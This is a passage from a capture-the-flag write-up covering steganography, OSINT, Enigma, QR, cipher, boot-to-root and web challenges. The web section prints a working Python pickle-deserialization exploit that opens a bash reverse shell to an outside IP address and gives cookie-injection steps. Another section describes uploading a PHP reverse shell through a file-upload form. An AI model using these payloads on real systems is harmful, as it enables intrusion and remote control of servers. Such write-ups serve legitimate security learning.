&lt;li&gt;Also Take the content and make a that as &lt;code&gt;wordlist&lt;/code&gt; because it maybe work as &lt;strong&gt;key to open the next images&lt;/strong&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/p13ces/image3.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/p13ces/image4.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I tried every other image to open with password but each image needs password so go for next step,&lt;/li&gt;
&lt;li&gt;After trying on couple of images i finally get new flag from &lt;code&gt;6.jpg&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/p13ces/image5.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Again doing same thing, take the flag piece and append all those words on wordlist,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/p13ces/image6.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From This 9.jpg.out we get a https://pastebin.com/V3nbr0sm link which leads to another piece of flag,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/p13ces/image7.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/p13ces/image8.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So finally got the final piece,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/p13ces/image9.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now this is Assembling time,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/p13ces/image10.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I Think maybe some thing missing so i looked up all the images and I got blink and boom got all flag just like this,&lt;/li&gt;
&lt;li&gt;By assembling the images,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/p13ces/image11.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CM{{Break_1t_1int0_p13ces}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;I think i got the flag and submitted but &lt;strong&gt;Incorrect!!!!!!!!!!!!!!!!!!!!&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;So I Thought i missed something which is &lt;code&gt;Part 4th’s Description&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;At last, Lira reached the heart of the forest, where a small clearing lay undisturbed. In the center, a worn parchment was pinned to the ground. Written on it was the a riddle that can contain the final clue:

&quot;In the realm of shapes, I’m the base of a square
In the world of shapes, I form a perfect square,
A hint lies in balance; I help you explore,
Count me well, and you’ll see I am more.
I&apos;m just a single digit number, all alone.&quot;

It dawned on her, she had to put all the pieces together to unlock the final part of the 5 pieces hidden message.

FLAG: CM{xxxxx_#x_#xxx#_#_x##xxx} 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;I have to put it in the format mentioned so here is a poem which gives hints about it,&lt;/li&gt;
&lt;li&gt;”#” means numbers and “x” means Alphabets so let’s arrange it,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/p13ces/image12.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Everything Looks Perfect but this “#” means a number is missing which i got from that silly poem,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&quot;In the realm of shapes, I’m the base of a square
In the world of shapes, I form a perfect square,
A hint lies in balance; I help you explore,
Count me well, and you’ll see I am more.
I&apos;m just a single digit number, all alone.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;It is single digit number and &lt;code&gt;4&lt;/code&gt; is perfect square so here is the whole FLAG.&lt;/li&gt;
&lt;li&gt;Haaaa, Easyyyyy Peasyyyyyy. 🫠&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;CM{Break_1t_1int0_4_p13ces}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;OSINT&lt;/h1&gt;
&lt;h2&gt;Hack Uncovered&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/OSINT/Hack_Uncovered/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Based on the description and some common sense, I found this PDF from Linkedin Cybermaterial Page,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/OSINT/Hack_Uncovered/21.png&quot; alt=&quot;21.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We need to create a flag related to a document about incidents or alerts from July 2024.&lt;/li&gt;
&lt;li&gt;This PDF should contain the information we need to create the flag.&lt;/li&gt;
&lt;li&gt;And Here is The Flag Easy,
&lt;ul&gt;
&lt;li&gt;Top Threat - &lt;code&gt;DarkGate&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Top Vulnerability - &lt;code&gt;CVE-2024-5217&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Top Regulations - &lt;code&gt;KOPSA&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;CM{DarkGate_CVE-2024-5217_KOPSA}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CyberMaterial Edition!&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/OSINT/CyberMaterial_Edition/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Following the given description, I applied the same approach and searched on Instagram. This led me to find the relevant post.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/OSINT/CyberMaterial_Edition/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/OSINT/CyberMaterial_Edition/image2.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/OSINT/CyberMaterial_Edition/8c922c6d-4e28-42c1-8fd3-721921cba448.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After some scrolling I got the flag in the dark shade, Why this is much of easy, 🫠&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;CM{H4LL_of_H4ck5_Thr3aTs}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Reverse Engineering&lt;/h1&gt;
&lt;h2&gt;More Like ‘Enig-me’&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Rev/More_Like_Enig-me/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This challenge was the hardest one in the CTF, and I was stuck on it for several days. Fortunately, the hint provided the &lt;code&gt;rotor configurations&lt;/code&gt;, &lt;code&gt;positions&lt;/code&gt;, &lt;code&gt;reflector&lt;/code&gt;, and &lt;code&gt;plugboard settings&lt;/code&gt;, which simplified things a bit. They lowered the difficulty level, making it more manageable.&lt;/li&gt;
&lt;li&gt;Here is the Settings,
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Rotors : I-II-III&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Reflector : B&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Position : A-D-F (1-4-6)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ring : A-A-A (1-1-1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Plugboard : A-T B-L&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;Encoded txt : ugtyq djiwc ruejq ebdux hcrqr kiznu hokzy sngry zfxnv gbjki dqknr ma&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Decoded txt: cybermateial is the world number one cybersecurity data platform.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Rev/More_Like_Enig-me/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CM{Rotor_I-II-III_Pos_A-B-C_Reflector_B_Plug_A-T_B-L_Ring_A-A-A} 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Misc&lt;/h1&gt;
&lt;h2&gt;The Case of the Missing Flag&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Misc/The_Case_of_the_Missing_Flag/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When I open this DAT file it is not actually DAT file but SVG file with some weird Values,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Misc/The_Case_of_the_Missing_Flag/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So I opened it on https://www.svgviewer.dev/ Website,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Misc/The_Case_of_the_Missing_Flag/image2.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I First Contact I don’t see anything, and I think it is empty, but after looking carefully, I can see the small dot or something.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Misc/The_Case_of_the_Missing_Flag/image3.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So I Make it Bigger from the code by just tweaking the high and width, &lt;strong&gt;(width=&quot;300&quot; height=&quot;300” from width=&quot;1&quot; height=&quot;1”)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Misc/The_Case_of_the_Missing_Flag/image4.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is QR Code but It is Damaged or Intentionally Damaged QR and Those 3 Squares which is &lt;code&gt;contain the finder pattern&lt;/code&gt; ****so we need to fix it,&lt;/li&gt;
&lt;li&gt;So I just need to that one &lt;strong&gt;Square on Left Corner&lt;/strong&gt; so I just Tweak The &lt;code&gt;M-1 to M1&lt;/code&gt;, Ya That’s It and i got the flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Misc/The_Case_of_the_Missing_Flag/image5.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Misc/The_Case_of_the_Missing_Flag/image6.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I save that QR code and scan it through &lt;code&gt;zbarimg&lt;/code&gt; (&lt;a href=&quot;https://manpages.ubuntu.com/manpages/bionic/man1/zbarimg.1.html&quot;&gt;https://manpages.ubuntu.com/manpages/bionic/man1/zbarimg.1.htm&lt;/a&gt;l)&lt;/li&gt;
&lt;li&gt;And Got The Flag Boom!!!!!!! 🫠&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Misc/The_Case_of_the_Missing_Flag/image7.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CM{F0r3n3ic_1s_34sy}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Cryptography&lt;/h1&gt;
&lt;h2&gt;The Curious Case of the Jumbled Symbols&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Crypto/The_Curious_Case_of_the_Jumbled_Symbols/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This Challenge is very piece of cake because i have just google the cipher, and got this,&lt;/li&gt;
&lt;li&gt;Some History : Runes are ancient alphabets (More about https://en.wikipedia.org/wiki/Rune#:~:text=A rune is a letter,and for specialised purposes thereafter)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Crypto/The_Curious_Case_of_the_Jumbled_Symbols/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I Have to Translate The Cipher and Got The Flag!!!!!!! 🫠&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Crypto/The_Curious_Case_of_the_Jumbled_Symbols/image2.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CM{stauiliss_ruins_muharg}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CyberMaterialHavoc&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Crypto/CyberMaterialHavoc/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;• This cipher is unknown to me because I have never seen it before, so I just went to “https://www.dcode.fr/” (one of the best tools for crypto stuff) and I searched for a cipher identifier, and I got this one,&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Crypto/CyberMaterialHavoc/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is Base92 Encoding so I decode it,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Crypto/CyberMaterialHavoc/image2.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Base92 Encoding :- AgTIEe5hQ?T5,W.GDyv^N*eRcDuEoizyHNSTN&amp;amp;b$$4m0o9gWL!S\u+^T;/o5m/9YL@HQlje}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now this cipher is looks common so I again Copy it and Identify which encoding is this,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Crypto/CyberMaterialHavoc/image3.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is a https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher which is another &lt;code&gt;Polyalphabetic Substitution&lt;/code&gt;
• So I want to decode it, but I need a key for this, so I see around. I have a clue that it must be given anywhere, so I look at the description,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Crypto/CyberMaterialHavoc/image4.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CybermaterialHavoc&lt;/code&gt; can be key because it is written without space so tried and Boom!!!!! It works, and again, using dcode itself, I decode it,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Crypto/CyberMaterialHavoc/image5.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Vigenère cipher :- ZL{YfphiGdxdicgo_Yzkqu&apos;i_Cmtg_Qfpdiscxawtiz_Xdxl_Khdxcltu}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;It gives something so i again identify which cipher is it and i got was,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Crypto/CyberMaterialHavoc/image6.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Atbash Cipher :- XN{XbyviNzgvirzo_Dliow&apos;h_Yvhg_Xbyvihvxfirgb_Wzgz_Kozgulin}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Yes, Atbash Cipher so i decode it, and Done!!!!!!!!!!!!! Got The Flag!! 🫠&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Crypto/CyberMaterialHavoc/image7.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CM{CyberMaterial_World&apos;s_Best_Cybersecurity_Data_Platform}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Boot To Root&lt;/h1&gt;
&lt;h2&gt;Hacker&apos;s Fortress&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/B2R/Hackers_Fortress/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We visit the website. It is a simple PHP-based site, and it has a login form and one registration form, so I first register and log in.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/B2R/Hackers_Fortress/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It has a file upload feature, so as you know what a lame hacker does, 😑 Just upload the PHP shell and get the reverse shell, so for this, spin up the environment.&lt;/li&gt;
&lt;li&gt;Starting ngrok (reverse shell over internet) and netcat.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/B2R/Hackers_Fortress/image2.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And modify the stupid PHP payload of &lt;a href=&quot;https://github.com/pentestmonkey&quot;&gt;pentestmonkey&lt;/a&gt; and do some editing like ports, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/B2R/Hackers_Fortress/image3.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And Upload the shell on website,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/B2R/Hackers_Fortress/image4.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And through some directory busting I know that it has an upload directory, and it has my shell uploaded.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/B2R/Hackers_Fortress/image5.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And Detonate the Reverse shell B00M!!!!! Got the Shell!!!!!!!!!!.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/B2R/Hackers_Fortress/image6.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/B2R/Hackers_Fortress/image7.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After Some Hopping around i finally got the flag,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/B2R/Hackers_Fortress/image8.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CTF{3sc4l4t3d_t0_r00t}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Web&lt;/h1&gt;
&lt;h2&gt;Dir Dash&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Dir_Dash/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I opened the website and plan to first enumerate the sensitive files,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Dir_Dash/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So I run the https://github.com/maurosoria/dirsearch and got something interesting,
&lt;ul&gt;
&lt;li&gt;/robots.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Dir_Dash/image2.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When I visit the robots.txt it seems normal but scroll bar looking spooky like it means file is too large so check and this what i got!!!!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Dir_Dash/image3.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I found this another section, but yeah they fooled us,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Dir_Dash/a5e81d8e-5db0-43f6-b20c-4f7b467168ca.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;But Watching Carefully I got the something,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Dir_Dash/495ded9b-faff-4c42-964c-4a470add9424.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It looks like Hash but i don’t know where to use it, this is where hint helps,&lt;/li&gt;
&lt;li&gt;Which means we have to do FUZZING of file extensions&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Domain//////hash............extensions
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So i have tries this hash with https://github.com/ffuf/ffuf and try to FUZZ on extension,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;ffuf -u http://edition1.ctf.cybermaterial.com/c5ba7ff1883453170f7590fa689f1f48FUZZ -w /mnt/d/Cyber_Stuff/SecLists-master/Discovery/Web-Content/web-extensions.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Dir_Dash/image4.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And I Found &lt;code&gt;.aspx&lt;/code&gt; file extension so i try to access that file and B00M!!!! I got the flag!!!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Dir_Dash/image5.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CM{3xten5i0n5_w45_CR4zY}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pickle Me This Cookie Jar Shenanigans!&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Pickle_Me_This_Cookie_Jar_Shenanigans/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This Challenge was quite interesting and challenging also,&lt;/li&gt;
&lt;li&gt;When we visit the website it looks like this,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Pickle_Me_This_Cookie_Jar_Shenanigans/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As per mentioned in description we know that this server has &lt;strong&gt;cookie deserialization vulnerability&lt;/strong&gt; in pickle &lt;code&gt;(CVE-2022-34668)&lt;/code&gt; and we have to exploit it.&lt;/li&gt;
&lt;li&gt;After some googling around i found some pickle exploit scripts but many of them not properly working so after some head smashing finally got the script which work perfectly.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;from base64 import b64encode
import pickle
import subprocess

# Define a class for malicious deserialization
class anti_pickle_serum(object):
    def __reduce__(self):  # Use double underscores
        # This is where the reverse shell command will be executed
        return subprocess.Popen, ([&quot;/bin/bash&quot;, &quot;-c&quot;, &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/13.127.206.16/15354 0&amp;gt;&amp;amp;1&quot;],)

# Serialize the payload and encode it
pickled = pickle.dumps({&apos;serum&apos;: anti_pickle_serum()}, protocol=0)
encoded_pickled = b64encode(pickled)

# Print the base64 encoded malicious payload
print(encoded_pickled.decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Steps of Exploitation,
&lt;ol&gt;
&lt;li&gt;Setup The Environment,
&lt;ol&gt;
&lt;li&gt;Start the &lt;code&gt;NGROK Server&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Start the &lt;code&gt;Ncat Server&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Prepare a &lt;code&gt;Reverse Shell Payload&lt;/code&gt; to Put in Script&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Creating the Payload Using Above Script&lt;/li&gt;
&lt;li&gt;Go to the Webpage&lt;/li&gt;
&lt;li&gt;Add Any Item in Cart&lt;/li&gt;
&lt;li&gt;Go to Cart Section&lt;/li&gt;
&lt;li&gt;Open up the Application Section Inspect&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Replace the Malicious Cookie&lt;/code&gt; and &lt;code&gt;Just Refresh&lt;/code&gt; and B00M!!!! Got a Shell 🫠&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;&quot;/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/13.127.206.16/15354 0&amp;gt;&amp;amp;1&apos;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Pickle_Me_This_Cookie_Jar_Shenanigans/image2.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CM{c0Ngr47S_y0u_ArE_A_Ser1A1_KI11er}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hashing Numbers&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Hashing_Numbers/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When we visit this Website, and click in &lt;strong&gt;&amp;lt;!-- &quot;To find the light, traverse the path.&quot; --&amp;gt;,&lt;/strong&gt; we can press on Enter Now and i will redirect to another page,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Hashing_Numbers/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After Redirection, We see a puzzled text something like &lt;code&gt;742-AJM&lt;/code&gt; and we have to unscramble this,&lt;/li&gt;
&lt;li&gt;And scrolling down we an image of dial pad,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Hashing_Numbers/image2.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Hashing_Numbers/image3.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There also one button named “enter hash---→” which will redirect us to another page which ask for hash and correct hash will provide us flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Hashing_Numbers/5b7806d8-ee8a-4967-a38c-bee2db62e364.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Hashing_Numbers/image4.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So Again We have one image of dial pad When Any Lame Hacker See any image, then they always try stupid things like steg…. so let’s try that,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Hashing_Numbers/image5.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From this we got some python code, which do something spooky so let’s analyze it,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#You are tasked with securing a sensitive file. To ensure its integrity, 
#you must calculate the SHA-256 hash of the file contents.

import hashlib

# Calculate the value of the mathematical expression

# Replacing Number with its words
# eight = 8, three = 3, two = 2
#value = (5 * eight) + (three * 6) - (two * 4)
value = (5 * eight) + (three * 6) - (two * 4)

# Convert the value to a string
value_str = str(value)

# Calculate the SHA-256 hash
hash_object = hashlib.sha256(value_str.encode())
hash_hex = hash_object.hexdigest()

print(hash_hex)

#Once you have calculated the value of this expression, 
#hash the resulting string using the SHA-256 algorithm. What is the hash?
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Output: 1a6562590ef19d1045d06c4055742d38288e9e6dcd71ccde5cee80f1d5a774eb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Hashing_Numbers/image6.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We try to enter it into website input field above mentioned, and&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Hashing_Numbers/image7.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If we follow the page and and active dark mode and scroll to the end we got the flag,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Web/Hashing_Numbers/image8.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;But this is not it, we have to make it according to this description,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;You are tasked with securing a sensitive file. To ensure its integrity, you must calculate the SHA-256 hash of the file contents.&lt;/code&gt;&lt;/li&gt;
